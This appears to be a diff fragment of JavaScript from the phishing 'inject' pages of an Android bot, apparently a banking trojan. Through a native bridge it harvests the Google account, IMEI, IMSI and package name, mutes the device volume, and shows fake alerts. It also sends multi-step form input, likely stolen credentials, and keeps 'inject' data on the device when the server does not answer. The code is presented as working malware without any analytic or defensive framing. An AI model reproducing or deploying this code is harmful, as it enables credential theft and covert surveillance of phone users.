||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||